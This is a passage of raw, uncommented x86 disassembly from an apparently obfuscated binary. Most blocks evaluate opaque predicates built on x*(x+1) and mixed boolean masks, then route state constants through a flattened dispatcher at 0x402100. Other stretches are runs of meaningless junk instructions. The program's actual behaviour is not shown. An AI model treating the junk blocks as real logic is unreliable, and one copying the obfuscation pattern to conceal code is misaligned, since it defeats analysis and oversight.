and edx, 0x67c43d8
and eax, 0xf983bc27
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x5d7bc8d7
xor eax, 0xf983bc27
and esi, 0xa2843728
or ecx, esi
mov esi, 0x7dfde7a
xor ecx, 0x5d7bc8d7
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6b1783f4
and ecx, 0x94e87c0b
or eax, ecx
xor eax, 0x6b1783f4
sete ah
setne dh
cmp dword [0x4ba778], 0xa
mov al, ah
setl dl
setge cl
mov ch, dl
and cl, ah
xor al, dl
and ch, dh
and al, dl
or dh, dl
or dl, ah
or cl, ch
xor al, 1
mov bl, dh
xor cl, 1
xor bl, al
or al, dh
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
or al, bl
or cl, ah
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, 0x7dfde7a
xor dl, 1
or dl, ah
xor dl, al
mov ah, dl
xor ah, 1
and al, ah
xor ah, al
test dl, 1
cmovne ecx, edi
test al, 1
cmove ecx, esi
test ah, 1
cmove ecx, edi
mov eax, ecx
jmp 0x402100
mov eax, dword [ebp - 0x194]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa0d05376
and ecx, 0x1f2fac89
or edx, ecx
mov ecx, eax
and ecx, 0x40000000
xor edx, 0xa0d05376
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
mov eax, 0x596ef9e1
or ecx, esi
not ecx
or ecx, edx
mov edx, 0x6721335
cmp ecx, 0xffffffff
cmove eax, edx
jmp 0x402100
mov eax, dword [ebp - 0x198]
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x899cd5f
and edx, 0xb76632a0
or ecx, edx
mov edx, eax
xor edx, 0xbfffffff
and edx, eax
mov edi, ecx
xor edi, 0x9cd1c
xor ecx, 0xf76632a0
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0x49b620c3
and edi, 0xb649df3c
and edx, 0xb649df3c
or ecx, ebx
and ebx, 0x49b620c3
or edi, esi
or edx, ebx
not ecx
xor edx, edi
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
mov eax, 0xcc3904d7
xor edx, ecx
test edx, ecx
mov edx, 0x4230728e
cmove eax, edx
jmp 0x402100
mov eax, 0xaaf1e684
jmp 0x402100
mov eax, 0xae5bd2fb
jmp 0x402100
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x144], eax
mov eax, 0x1586b5e5
jmp 0x402100
mov eax, 0xa9f6bfcf
jmp 0x402100
push 0x400
push section..data
push dword [ebp - 0x20]
vzeroupper
call fcn.0041e300
add esp, 0xc
ror eax, 9
inc edi
sub eax, 0x6f
not eax
add eax, 0xf3
add edx, 0xf0
imul edi
and edx, 0x2c
imul eax
rcl eax, 0x7f
imul esi
neg edx
add eax, 0x14
not esi
not eax
ror esi, 0x9f
not eax
neg ebx
not edi
mov edi, 0xeb
ror edi, 0xfb
imul ebx
imul esi
add edi, 0x1d
inc eax
mov ebx, 0xb4
not esi
inc ebx
rol edi, 0xec
neg edi
dec edi
rcr eax, 0xa6
rcl esi, 0x85
neg eax
imul esi
rcl edi, 0x56
imul edi
neg edx
not eax
imul esi
not ebx
add ebx, 0xd0
inc esi
imul ebx
or esi, 0xe
sbb ebx, 0xfa
or eax, 0x23
add eax, 0xc5
rcr edi, 0xc7
ror esi, 0xac
imul eax
not esi
neg eax
imul eax
imul eax
inc edi
inc esi
or ebx, 0xe1
imul esi
rcl edi, 0x21
dec esi
inc ebx
ror edx, 0xf9
imul eax
dec edi
sub ebx, 0x3d
rcr eax, 0xed
mov ebx, 0x9f
bswap eax
sbb edx, 0x97
sub eax, 0xeb
mov edi, 0xdd
rol ebx, 0x3b
imul edi
bswap edi
and ebx, 0x5a
dec ebx
or edx, 0x72
not eax
bswap eax
inc edi
rcl edx, 0x75
rcl esi, 0x48
rol ebx, 0x6c
rol eax, 0xc4
not edi
not ebx
rcr ebx, 0x35
neg edx
neg edx
rcl edi, 9
rcr eax, 0xa1
inc esi
imul edi
rcr esi, 0x60
dec esi
ror ebx, 0x92
mov eax, 0xdf
inc edx
neg edi
or esi, 0xcf
bswap esi
neg ebx
bswap edx
mov edi, 0xcb
not edx
inc edx
neg eax
dec edi
not esi
sub eax, 0x8b
imul ebx
inc eax
bswap eax
mov eax, 0xbd
inc edi
ror eax, 0x70
dec edx
ror ebx, 0xea
sbb edx, 0x59
or esi, 0x4c
inc eax
bswap ebx
neg esi
and edx, 0x87
neg eax
sbb esi, 0xa6
add esi, 0x1a
ror eax, 0xc0
dec edi
rcr edi, 0xed
ror edx, 0x94
imul eax
imul esi
bswap eax
imul ebx
dec eax
dec ebx
inc eax
add ebx, 0xc1
inc ebx
dec eax
rcl esi, 0xe3
not ebx
mov ebx, 0x1d
bswap esi
inc ebx
imul ebx
inc eax
inc eax
mov dword [ebp - 0x2c], eax
mov eax, 0x8f695807
jmp 0x402100
mov dword [ebp - 0x38], 0x40
mov eax, 0x432ab55
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xc1798a11
mov ecx, edx
and ecx, 0x6020440
and edx, 0xf75d8140
or esi, ecx
mov ecx, eax
and ecx, 0x388471ae
and eax, 0x8a27ebf
xor esi, 0xc1798a11
or eax, edx
or ecx, esi
mov edx, eax
xor edx, 0x8a27ebf
xor eax, 0xf75d8140
mov esi, ecx
not esi
and ecx, 0xc77b8e50
and esi, 0x388471af
or ecx, esi
mov esi, 0xf5511e3e
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x4ba778], 0xa
setge al
setl ch
mov cl, al
and ah, ch
or ch, dl
xor al, dl
and cl, dl
mov edx, eax
or al, ch
or cl, ah
xor dl, ch
xor al, 1
mov ah, cl
or al, dl
xor ah, 1
mov ch, al
mov dl, ah
xor ah, al
xor al, 1
and ch, cl
and dl, al
or al, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x9bb45
cmovne eax, esi
test dl, dl
mov edx, 0x9bb45
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xb76741aa
mov esi, eax
or esi, 0x108e40
and ecx, eax
and esi, 0x16168e48
and edx, 0xa16141a2
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe9e971b7
or eax, esi
and esi, 0x16168e48
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x4898be55
and eax, 0xb76741aa
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
not edx
and ecx, 0x6ec013d6
mov esi, edx
and esi, 0x913fec29
or ecx, esi
mov esi, eax
not esi
and eax, 0x6ec013d6
or edx, esi
and esi, 0x913fec29
or eax, esi
not edx
mov esi, 0x3490ee0a
xor eax, ecx
or edx, eax
mov eax, edx
not eax
and edx, 0xa35a1b55
and eax, 0x5ca5e4aa
or eax, edx
xor eax, 0xa35a1b55
setne ah
sete dl
cmp dword [0x4ba778], 0xa
setl cl
setge al
mov ch, cl
or cl, dl
xor ch, dl
xor cl, 1
or cl, ch
mov ch, al
and al, dl
inc ch
mov edx, ecx
and ch, ah
or al, ch
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
mov ecx, 0xf6ebaad6
cmovne ecx, esi
test al, al
mov esi, 0xf6ebaad6
mov eax, ecx
cmovne eax, esi
jmp 0x40d150
mov eax, 0x65d387b5
jmp 0x402100
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x11c], eax
mov eax, 0xbe864e16
jmp 0x402100
mov eax, dword [ebp - 0x28]
vmovsd xmm0, qword [eax + 0xa0]
mov eax, 0x8ccc55b3
vmovsd qword [ebp - 0x18], xmm0
jmp 0x402100
mov dword [ebp - 0x24], 1
mov eax, 0xe4670132
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x2460216
and eax, 0x4d0104a1
mov edx, ecx
or edx, 0x80103008
and esi, 0x8256321e
and ecx, 0x30a8c940
and edx, 0x8256321e
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xb0b8f948
and ecx, 0x4f4706b7
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xb79fd8b
not edx
mov esi, edx
and ecx, eax
and esi, 0xb79fd8b
or edx, 1
and eax, 0x2ab655e
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x7b0d1af3
and esi, 0x84f2e50c
or ecx, esi
mov esi, ecx
xor esi, 0x206559
xor ecx, 0x8f8b1886
mov edi, ecx
or ecx, edx
and edx, 0xfd549aa0
and edi, 0xfd549aa0
and esi, 0x2ab655f
or esi, edi
or eax, edx
not ecx
mov edi, 0xddb9cfac
xor eax, esi
mov esi, 0xb53197dd
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xa4a1904
and eax, 0xf5b5e6fb
or eax, edx
xor eax, 0xa4a1904
xor ecx, eax
test ecx, eax
setne ah
sete ch
cmp dword [0x4ba778], 0xa
setl dl
setge al
mov cl, dl
or dl, ch
and ch, al
xor al, ah
xor al, 1
and cl, ah
mov ah, al
or al, dl
or cl, ch
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xddb9cfac
cmovne eax, esi
test dl, dl
cmove eax, edi
test cl, 1
cmovne eax, esi
jmp 0x402100
mov eax, 0x22e95d7b
jmp 0x402100
mov eax, 0x62701b0c
jmp 0x402100
mov eax, 0x918d0020
jmp 0x402100
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x74]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*4]
mov ecx, dword [0x4ba77c]
mov dword [ebp - 0x15c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x24100202
and eax, 0x1002110
mov edx, ecx
or edx, 0xd8a1cc04
and esi, 0xfcb1ce06
and ecx, 0x24e10e9
and edx, 0xfcb1ce06
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x8b50def5
and ecx, 0x74af210a
or eax, ecx
mov ecx, eax
mov edi, eax
xor edi, 0xae40fde7
xor eax, 0x821aa807
xor ecx, 0x51bf0218
and edi, eax
and eax, ecx
and ecx, 0xfffffffe
mov edx, edi
not edx
and edi, 0xd3fad538
mov esi, edx
and esi, 0x2c052ac7
or edi, esi
mov esi, eax
not esi
and eax, 0xd3fad538
or edx, esi
and esi, 0x2c052ac7
or eax, esi
not edx
mov esi, 0x44a69bfe
xor eax, edi
mov edi, 0x1befb553
or edx, eax
mov eax, edx
not eax
and edx, 0x39b8eaa0
and eax, 0xc647155f
or edx, eax
xor edx, 0xea1d40be
or ecx, edx
mov eax, ecx
xor eax, 0x8378635a
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x7c879ca5
and ecx, 0x8378635a
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x1c95e6cd
and eax, 0xe36a1932
or ecx, eax
mov eax, ecx
xor eax, 0x1c80c685
xor ecx, 0xe1200932
and ecx, 0xe135297a
and eax, 0x1ecad685
or eax, ecx
xor eax, 0x1ecad685
sete cl
setne al
cmp dword [0x4ba778], 0xa
setl ah
xor al, ah
or cl, ah
mov ah, al
mov edx, eax
xor ah, cl
or cl, al
xor dl, 1
xor cl, 1
or cl, ah
mov ah, dl
and ah, cl
xor cl, 1
and al, cl
or al, ah
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
test dl, 1
cmovne edi, esi
test cl, 1
mov esi, 0x1befb553
cmovne esi, edi
test al, al
cmove esi, edi
mov eax, esi
jmp 0x402100
mov eax, 0x2f08424c
jmp 0x402100
mov eax, 0x69ee4556
jmp 0x402100
mov eax, dword [0x4ba77c]
mov esi, 0xf371de3f
mov edi, 0x8a162ccf
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x75e64f06
and eax, 0x8a19b0f9
or ecx, eax
mov eax, ecx
xor eax, 0x44a24d04
xor ecx, 0x20190a1
and ecx, 0x334592a3
and eax, 0xccba6d5c
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xc4886814
xor ecx, 0x334592a3
xor eax, 0xed015fb9
and eax, ecx
and edx, 0xf7c87897
and ecx, 0x8378768
or ecx, edx
mov edx, ecx
xor edx, 0x8048508
xor ecx, 0xf7c87896
and edx, 0xde44cd1a
and ecx, 0xfffffffe
or edx, eax
not eax
and eax, 0x21bb32e4
and edx, 0xde44cd1b
or edx, eax
or ecx, edx
mov edx, ecx
xor edx, 0x98e0483d
mov eax, ecx
and eax, 0x18600034
and edx, ecx
not ecx
and ecx, 0x80804809
or eax, ecx
xor eax, 0x18600034
or eax, edx
not edx
and edx, 0x671fb7c2
and eax, 0x98e0483d
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe0787cee
mov edx, ecx
and edx, 0x1f878311
or eax, edx
xor eax, 0xe0787cee
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x4ba778], 0xa
setge cl
setl al
and ah, al
and cl, dl
or al, dl
or cl, ah
xor cl, 1
mov edx, ecx
mov ch, cl
xor dl, al
or al, cl
xor al, 1
or al, dl
or ch, al
xor al, cl
mov cl, al
xor cl, ch
test al, 1
mov eax, 0x8a162ccf
cmovne eax, esi
test ch, 1
cmovne eax, edi
jmp 0x40cb52
inc dword [ebp - 0x40]
mov eax, 0x1d4569c2
jmp 0x402100
cmp byte [ebp - 0x55], 0
mov eax, 0x1275f950
mov ecx, 0x779cfbde
cmovne eax, ecx
jmp 0x402100
mov eax, 0x60c053cc
jmp 0x402100
lea eax, [ebp - 0x14]
mov dword [ebp - 0xb4], eax
mov eax, 0x32cf9457
jmp 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x4114275
mov esi, edx
and esi, 0x4862a000
and edx, 0xfc75d17c
or eax, esi
mov edi, eax
xor edi, 0x114264
xor eax, 0xfbeebd8a
mov esi, eax
and esi, 0x6209d19
and edi, 0x48536264
or edi, esi
mov esi, ecx
xor esi, 0x4c73e275
and esi, ecx
and ecx, 0x38a2e83
mov ebx, esi
not ebx
and esi, 0xf9df62e6
or ecx, edx
or eax, ebx
and ebx, 0x6209d19
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0x4c73e274
and esi, 0xb38c1d8b
or eax, esi
mov esi, eax
not esi
and eax, 0xf2567ac8
and esi, 0xda98537
or eax, esi
mov esi, 0x755ab286
mov edi, eax
xor edi, 0x32545000
xor eax, 0xda98537
mov edx, eax
and edx, 0xcd83afdf
and edi, 0x327c5020
or edi, edx
mov edx, ecx
xor edx, 0x2080000
xor ecx, 0xfc75d17c
or eax, ecx
and ecx, 0xcd83afdf
and edx, 0x327c5020
or edx, ecx
not eax
xor edx, edi
mov edi, 0x5b45e3d1
or eax, edx
mov ecx, eax
not ecx
and eax, 0x53e879ae
and ecx, 0xac178651
or eax, ecx
cmp eax, 0x53e879ae
setne al
cmp dword [0x4ba778], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov eax, ecx
mov ah, dl
not al
and dl, cl
xor ah, 1
or cl, ah
and ah, al
or ah, dl
mov dh, cl
xor dh, ah
test ah, ah
mov eax, 0x5b45e3d1
cmovne eax, esi
test cl, cl
cmovne eax, edi
test dh, dh
cmove eax, esi
jmp 0x402100
mov eax, 0x2d5d14bc
jmp 0x402100
mov eax, 0x5a9a36f
jmp 0x402100
mov eax, 0xd6974753
jmp 0x402100
mov eax, dword [ebp - 0x70]
mov eax, dword [0x4ba77c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
mov eax, edx
not ecx
or eax, 0xaf213225
mov edi, ecx
mov esi, eax
and esi, 0x2f1e8f49
and edi, 0x50c04092
and ecx, 0x2136a67a
or edi, esi
mov esi, edx
xor esi, 0x50decdda
and esi, edx
mov ebx, esi
not ebx
and esi, 0xd0e170b6
or eax, ebx
and ebx, 0x2f1e8f49
or esi, ebx
not eax
xor esi, edi
or eax, esi
not esi
and esi, 0xaf213224
and eax, 0x50decddb
or eax, esi
mov esi, eax
not esi
and eax, 0x6c27f1d8
and esi, 0x93d80e27
or eax, esi
mov esi, eax
xor esi, 0x2026a058
xor eax, 0x93d80e27
mov edi, eax
or eax, edx
and edx, 0xdec95985
and edi, 0xdec95985
and esi, 0x2136a67a
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0xf4532223
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3a75dbd1
and ecx, 0xc58a242e
or eax, ecx
cmp eax, 0x3a75dbd1
sete al
cmp dword [0x4ba778], 0xa
mov ah, al
setge dl
setl cl
or ah, cl
xor cl, al
xor al, dl
and cl, ah
and dl, al
xor al, 1
or al, dl
mov edx, ecx
mov ah, cl
not dl
xor al, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, cl
xor dl, al
xor ah, al
or al, cl
xor al, 1
mov ecx, edx
or al, ah
xor cl, al
test al, 1
mov eax, 0x190c8707
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x190c8707
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x402100
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x168], eax
mov eax, 0xb7e500c3
jmp 0x402100
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x38], 0x40
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0x24]
mov dword [ebp - 0x3c], eax
mov eax, 0xcd4b864f
jmp 0x402100
mov eax, 0xe7cd6f08
jmp 0x402100
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov eax, 0xc0989689
add ecx, dword [ebp - 0x84]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x7c], ecx
jmp 0x402100
mov eax, dword [0x4ba77c]
inc dword [ebp - 0x40]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x804c4584
mov edx, eax
and edx, 0x7fb3ba7a
and eax, 0xe9ad6484
or esi, edx
mov edx, ecx
or edx, 0x2a92114c
and ecx, 0x16529b7b
mov edi, esi
xor edi, 0x804c4480
xor esi, 0x2a921048
and edx, 0x2a92114d
or eax, ecx
and esi, 0x2a92114c
and edi, 0xd56deeb2
or edi, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0xe9ad6484
mov edi, esi
and edi, 0x16529b7b
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x6ac4e65a
cmp eax, 0xffffffff
sete al
cmp dword [0x4ba778], 0xa
mov ecx, eax
setge dl
setl ah
xor dl, al
and cl, dl
not dl
and dl, al
xor al, ah
mov ch, cl
and al, ah
mov ah, dl
xor dl, al
xor ah, 1
xor al, 1
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
xor ch, al
and al, cl
and ch, cl
or al, dl
mov edx, 0x5f02664b
mov cl, ch
xor cl, al
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test ch, ch
cmove eax, edx
jmp 0x402100
mov eax, 0xd90395c0
jmp 0x402100
dec esi
not edi
imul ebx
or ebx, 0x18
mov edi, 0xfe
bswap ebx
inc esi
rcl ebx, 0x74
add esi, 4
imul ebx
bswap eax
not esi
or eax, 0xf3
imul esi
rcl eax, 2
sub ebx, 0x9f
imul edx
inc ebx
mov esi, 0x9e
sbb ebx, 0xcf
rcr eax, 0x75
mov esi, 0xa8
mov edx, 0x9e
bswap esi
sub eax, 0x65
imul esi
rcl ebx, 0x87
rol edi, 0x91
imul edx
not eax
neg edi
not ebx
or ebx, 0xfd
or ebx, 0x8b
bswap esi
rcr esi, 6
bswap eax
neg edx
rcl edx, 0x21
not edi
add ebx, 0xf1
imul edi
mov edi, 0xe2
dec edi
rol edi, 0xf9
rol edi, 0x39
ror eax, 0x60
mov edx, 0x45
bswap edx
dec ebx
dec esi
or eax, 0xd1
add esi, 0xf3
mov edx, 0x26
rcl eax, 0x78
ror edx, 0x80
bswap edx
bswap edi
and edx, 0x62
rcr edi, 0x5c
rol edx, 0x2e
dec esi
and edx, 0xed
mov eax, 0x47
sub edx, 0x9a
or edx, 0x53
bswap edx
rol eax, 0x8a
inc ebx
add eax, 0x3a
dec ebx
inc eax
or esi, 0x98
sub esi, 0x89
mov edi, 0x35
ror edi, 0x97
not ebx
inc esi
inc edi
dec edi
dec edx
ror edi, 0xd9
dec esi
bswap esi
dec edi
bswap edx
rcr ebx, 4
add edi, 8
rol eax, 0x56
rcl ebx, 0x77
not edx
neg edi
ror ebx, 0x7f
neg ebx
rcl esi, 0xa6
rol edx, 0x2e
sub esi, 0x31
mov edi, 0x59
inc eax
imul edx
inc esi
inc eax
inc ebx
imul edi
inc edi
bswap edx
rcr edi, 0xb6
sub eax, 0xe5
rcr edi, 0xbb
bswap ebx
bswap esi
sbb ebx, 0x3c
neg ebx
dec ebx
bswap eax
rcr edi, 0xe1
rcr eax, 0x39
dec edi
sbb eax, 0xc9
imul ebx
not edi
imul eax
dec edx
inc edi
add esi, 0x22
not eax
rcl eax, 0xf2
bswap edx
inc edx
bswap edi
rol esi, 0x96
imul edx
dec esi
or eax, 0x14
sbb ebx, 0xf
and edi, 6
rcl eax, 0xcc
bswap edi
imul edx
mov esi, 0x27
imul eax
imul eax
or eax, 0x8f
rol ebx, 0xa6
and eax, 0x4f
sbb eax, 0x64
add esi, 0x8c
sub ebx, 0
imul esi
neg edx
mov dword [ebp - 0x2c], eax
mov eax, dword [0x4ba77c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0xfffffffe
not eax
mov esi, eax
and esi, 0xfffffffe
and ecx, edx
and eax, 0x8ca62ead
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xab885950
and esi, 0x5477a6af
or ecx, esi
mov esi, ecx
xor esi, 0x88800800
xor ecx, 0x5477a6af
mov edi, ecx
or ecx, edx
and edx, 0x7359d152
and edi, 0x7359d152
and esi, 0x8ca62ead
or esi, edi
or eax, edx
not ecx
mov edi, 0xbba8f8fb
xor eax, esi
mov esi, 0xb6461ef0
or ecx, eax
xor ecx, 0xffffffff
sete al
setne dl
cmp dword [0x4ba778], 0xa
setl ah
setge cl
xor dl, ah
xor al, ah
xor cl, dl
and cl, dl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0xbba8f8fb
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
jmp 0x40baef
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x78]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*8]
mov dword [ebp - 0x110], eax
mov eax, 0xf06289a1
jmp 0x402100
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb0]
cmp ecx, dword [eax]
mov eax, dword [0x4ba77c]
lea edx, [eax + 1]
setb byte [ebp - 0x54]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x8894d28e
and edx, 0x776b2d71
or eax, edx
mov edx, eax
xor edx, 0x88000084
xor eax, 0x776b2d71
mov esi, eax
and esi, 0x23ddde7a
and edx, 0xdc222185
or edx, esi
mov esi, ecx
not esi
and ecx, 0xdc222185
or eax, esi
and esi, 0x23ddde7a
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 1
and eax, 0xbedb327c
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x4124cd82
or eax, esi
mov esi, edx
not esi
and edx, 0xbedb327d
or ecx, esi
and esi, 0x4124cd82
or edx, esi
not ecx
mov esi, 0x96e639f5
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x25966d3e
and eax, 0xda6992c1
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x3e94ed4a
and eax, 0xc16b12b5
or ecx, eax
mov eax, ecx
xor eax, 0xe04d130a
xor ecx, 0x10020030
and ecx, 0x14b26cb1
and eax, 0xeb4d934e
or eax, ecx
mov ecx, eax
xor ecx, 0x6045924a
xor eax, 0x14b20410
and eax, 0x9fba0514
and ecx, 0x6045faeb
or ecx, eax
cmp ecx, 0x6045faeb
sete cl
cmp dword [0x4ba778], 0xa
setge al
xor al, cl
and cl, al
mov edx, ecx
xor dl, al
xor al, 1
and dl, cl
or al, cl
mov ecx, edx
xor cl, al
mov ecx, 0x7605ca8b
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, esi
test dl, dl
cmove eax, ecx
jmp 0x402100
mov eax, 0xf503c036
jmp 0x402100
mov eax, 0xe55b79d9
jmp 0x402100
cmp byte [ebp - 0x57], 0
mov eax, 0x26959c0d
mov ecx, 0x99b96423
cmovne eax, ecx
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0x885f81cf
andn edx, eax, esi
and esi, eax
mov ecx, esi
not ecx
and esi, 0x686d1d93
mov edi, ecx
and edi, 0x9792e26c
or esi, edi
mov edi, edx
not edi
and edx, 0x686d1d93
or ecx, edi
and edi, 0x9792e26c
or edx, edi
not ecx
mov edi, 0x5eae908d
xor edx, esi
mov esi, eax
not esi
or ecx, edx
and esi, 0x861a5274
mov edx, ecx
not edx
and ecx, 0x77a07e31
and edx, 0x885f81ce
or ecx, edx
mov edx, eax
and edx, 0x79e5ad8b
and eax, 1
or edx, esi
mov esi, 0x5eae908d
xor edx, 0x861a5275
or eax, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x77f4c512
and edx, 0x880b3aed
or ecx, edx
andn edx, eax, eax
xor ecx, 0x77f4c512
or edx, ecx
mov eax, edx
not eax
and edx, 0x8288e96d
and eax, 0x7d771692
or eax, edx
mov ecx, eax
xor ecx, 0x82100
xor eax, 0x64640610
and eax, 0xe6e4ce7d
and ecx, 0x191b3182
or ecx, eax
xor ecx, 0x191b3182
sete dl
setne ah
cmp dword [0x4ba778], 0xa
setl al
setge cl
and dl, cl
and al, ah
or cl, ah
or al, dl
mov ch, cl
mov edx, eax
not ch
and al, cl
xor dl, 1
or cl, dl
and dl, ch
or dl, al
mov eax, ecx
xor al, dl
mov eax, 0xf8f7783
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
jmp 0x40b459
mov eax, dword [ebp - 0xa4]
mov ecx, dword [0x4ba77c]
mov dword [ebp - 0xe8], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x5c049aa
and edx, 0xfa3fb655
or edx, esi
mov esi, ecx
not esi
and ecx, 0xfa3fb655
or eax, esi
and esi, 0x5c049aa
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
xor esi, 0xfd677260
and eax, 0x7a9bd57c
mov edx, ecx
and ecx, 0x85642a82
and esi, 0xfd677261
and edx, 0x2988d9e
or ecx, eax
or edx, esi
mov esi, 0xaeec6174
xor ecx, 0x85642a82
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xfe9a306b
and eax, 0x165cf94
or ecx, eax
mov eax, ecx
xor eax, 0x82882042
xor ecx, 0x604c84
and ecx, 0x7c725cad
and eax, 0x838da352
or eax, ecx
mov ecx, eax
xor ecx, 0x818050
xor eax, 0x38504004
and eax, 0xbb5c6306
and ecx, 0x44a39cf9
or ecx, eax
cmp ecx, 0x44a39cf9
sete dl
cmp dword [0x4ba778], 0xa
setge al
setl cl
xor cl, dl
xor dl, al
and al, dl
xor al, 1
mov ah, al
or al, dl
xor ah, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor cl, al
or al, dl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xdad96686
cmovne eax, esi
test cl, 1
not dl
mov ecx, 0xdad96686
cmovne eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
mov edx, eax
xor edx, 0xfffffffe
or ecx, 1
mov edi, ecx
and edx, eax
and edi, 0x2c9b122f
and esi, 0xd364edd0
or esi, edi
mov edi, edx
not edi
and edx, 0xd364edd0
or ecx, edi
and edi, 0x2c9b122f
or edx, edi
not ecx
mov edi, 0x5a2ea6
xor edx, esi
